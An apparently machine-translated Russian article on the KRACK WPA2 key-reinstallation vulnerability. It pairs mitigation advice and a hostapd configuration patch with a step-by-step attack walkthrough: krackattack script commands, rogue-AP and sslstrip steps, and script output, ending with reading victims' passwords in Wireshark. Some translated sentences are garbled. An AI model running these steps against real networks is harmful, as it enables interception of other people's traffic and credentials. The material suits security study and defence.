В настоящее время все уязвимые устройства должны быть исправлены. Другими словами, исправление AP не предотвратит атаки на уязвимых клиентов. Точно так же исправление всех клиентов не предотвратит атаки на уязвимые точки доступа. Обратите внимание, что уязвимые точки доступа, поддерживающие Fast-BSS Transition handshake (802.11r), могут быть уязвимы.
Тем не менее, можно изменить точку доступа таким образом, чтобы уязвимые клиенты (при подключении к этой точке доступа) не могли быть атакованы. Однако эти изменения отличаются от обычных патчей безопасности, которые выпускаются для уязвимых точек доступа! Поэтому, если ваш поставщик точек доступа явно не упоминает, что их патчи предотвращают атаки против клиентов, вы также должны исправлять клиенты.
Кроме того, точка доступа модифицирована, чтобы не повторить передачу сообщения 1 рукопожатия группового ключа. Проект hostapd имеет такую модификацию, В настоящее время они оценивают, в какой степени это влияет на надежность этих рукопожатий. Мы отмечаем, что атаки на стороне клиента на рукопожатие 4-стороннего рукопожатия и группового ключа также могут быть предотвращены путем повторной передачи вышеупомянутых сообщений подтверждения, используя тот же (предыдущий) счетчик повтора EAPOL-Key. Атаку на рукопожатие с групповым ключом также можно предотвратить, разрешив точке доступа установить групповой ключ с задержкой, и, гарантируя, что точка доступа принимает только последний счетчик повторов (подробнее см. Раздел 4.3 документа).
+ # Обходной путь для ключевых атак с переустановкой
+ #
+ # Этот параметр может использоваться для отключения повторной передачи кадров EAPOL-Key, которые
|
+ # используются для установки ключей (сообщение EAPOL-Key 3/4 и групповое сообщение 1/2). Эта
+ # аналогично настройке wpa_group_update_count = 1 и
+ # wpa_pairwise_update_count = 1, но без влияния на сообщение 1/4 и с
+ # расширенный тайм-аут ответа, чтобы избежать возникновения проблем со станциями, которые
+ # могут использовать агрессивную экономию энергии, имеют очень много времени, чтобы ответить на
+ # EAPOL-Key.
+ #
+ # Этот параметр можно использовать для защиты от повторной установки ключей на
+ # (проситель) в тех случаях, когда эти станции не могут быть обновлены
+ # по какой-то причине. Удаляя повторные передачи, злоумышленник не может
+ # переустановка клавиатуры с передачей с задержкой кадров. Это связано с
+ # уязвимости на стороне станции CVE-2017-13077, CVE-2017-13078, CVE-2017-13079,
+ # CVE-2017-13080 и CVE-2017-13081.
+ #
+ # Это обходное решение может вызвать проблемы совместимости и снизить надежность
+ # ключевое согласование, особенно в средах с большой нагрузкой трафика из-за
+ # количество попыток выполнить обмен ключами значительно сократилось. В виде
+ # такое, это обходное решение отключено по умолчанию (если не переопределено в сборке
+ #). Чтобы включить это, установите для параметра значение 1.
+ # Wpa_disable_eapol_key_retries = 1
Атака с видео
1. Подключиться к сети, находясь в её пределах
2. Запускаем средство взлома на linux – krackattack
3. Запускаем скрипт атаки на WPA2 данной командой
[mathy@mathy-msi krackattack]$ sudo./krack-all-zero-tk.py wlp0s20u1 wlp0s20u2 testnetwork –target 90:18:7с:6е:6b:20(мак адрес ус-ва, раздающее сеть)
4. Скрипт сначала запускает поиск указанной сети
===[ KRACK Attacks against Linux/Android by Mathy Vanhoef ]===
Note: remember to disable Wi-Fi in your networks manager so it doesn’t interfere with this script
Note: keep >1 meter between both interfaces. Else packet delivery is unreliable & target may disconnect
|
5. Затем ретранслирует её на другом канале
Target network bc:ae:c5:88:8c:20 detected on channel 6
Will create rogue AP on channel 1
(создание второй копии сети позволит надежно подделать пакеты инициализации соединения handshake)
Setting MAC address of wlp0s20u2 to bc:ae:c5:88:8c:20
Giving the rogue hostapd one second to initialize…
Injected 4 CSA beacon pairs (moving stations to channel 1)
Rogue hostapd: nl80211: send_mlme – da= ff:ff:ff:ff:ff:ff noack=0 freq=0 no_cck=0 offchanok=0 wait_time=0 fc=0xc0 (WLAN_FC_STYPE_DEAUTH) nlmode=3
Rogue channel: injected Disassociation to 90:18:7c:6e:6b:20
6. Убедиться, что жертва все еще может войти в интернет через поддельную сеть
[mathy@mathy-msi krackattack]$ sudo./enable_internet_forwading.sh
7. Кроме того, нужно запустить sslstrip-утилиту, которая пытается снять дополнительную HTTPS-защиту на многих неправильно сконфигурированных сайтах
[mathy@mathy-msi krackattack]$ sslstrip –w sslstrip.log
8. Использование программы WireShark для перехвата любой информации, передаваемой жертвой.
9. Приступаем к атаке
Real channel: bc:ae:c5:88:8c:20 -> 90:18:7c:6e:6b:20: QoS-Null(seq=915, sleep=0)
Real channel: bc:ae:c5:88:8c:20 -> 90:18:7c:6e:6b:20: QoS-Null(seq=915, sleep=0)
10. Как только жертва включила Wi-Fi, устройство станет искать сеть. Как только он её найдет, он попытается подключиться к настоящей сети,- что нас не устраивает.
Real channel: 90:18:7c:6e:6b:20 -> bc:ae:c5:88:8c:20: Auth(seg=2, status=0)
Client 90:18:7c:6e:6b:20 is connecting on real channel, (к счастью, существуют специальные Wi-Fi коды, которые подают ему команду перейти на другой канал) -> injecting CSA beacon to try to correct.
11. Таким образом, мы провели атаку «человек посередине» (MitM)
Injecting 1 CSA beacon pairs (moving stations to channel 1)
Injecting 1 CSA beacon pairs (moving stations to channel 1)
Real channel: bc:ae:c5:88:8c:20 -> 90:18:7c:6e:6b:20: Auth(seq=1497, status=0) – MitM’ing
Rogue channel: 90:18:7c:6e:6b:20 -> bc:ae:c5:88:8c:20: Null(seq=4, sleep=0)
|
12. Атака удалась, и теперь мы находимся между жертвой и реальной сетью
Established MitM position against client 90:18:7c:6e:6b:20 (moved to state 2)
Это позволяет надежно контролировать сообщения и совершить атаку KRACK на 4 рукопожатии
Real channel: bc:ae:c5:88:8c:20 -> 90:18:7c:6e:6b:20: EAPOL-Msq3(seq=2, replay=4) – MitM’ing
Got 2nd unique EAPOL msg3. Will forward both these Msg3’s separated by a forget msg1.
==> Performing key reinstallation attack.
13. Обычно, ос жертвы будет использовать один и тот же одноразовый nonce-код при шифровании пакетов данных, что позволяет ей не потерять уже полученные данные. Однако, из-за бага протокола будет взят не реальный ключ шифрования, а заменит его нулями.
Real channel: 90:18:7c:6e:6b:20 -> bc:ae:c5:88:8c:20: EncryptedData(seq=4, IV=1)
SUCCESS! Nonce reuse detected (IV=1), with usage of all-zero encryption key.
Благодаря этому перехватить или подменить передаваемые этими устройствами данные становится очень легко.
Now MitM’ing the victim using our malicious AP, and intercepting its traffic.
14. Через Wireshark в фильтре забиваем dns и видим перехватываемую информацию в расшифрованном виде. В нормальном состоянии прочесть эту информацию невозможно. Здесь можно увидеть все данные жертвы, не зная пароля от сети Wi-Fi. При этом на устройстве пользователя теперь не используется HТТPS.
15. В Wireshark забиваем http и находим пароли в открытом виде.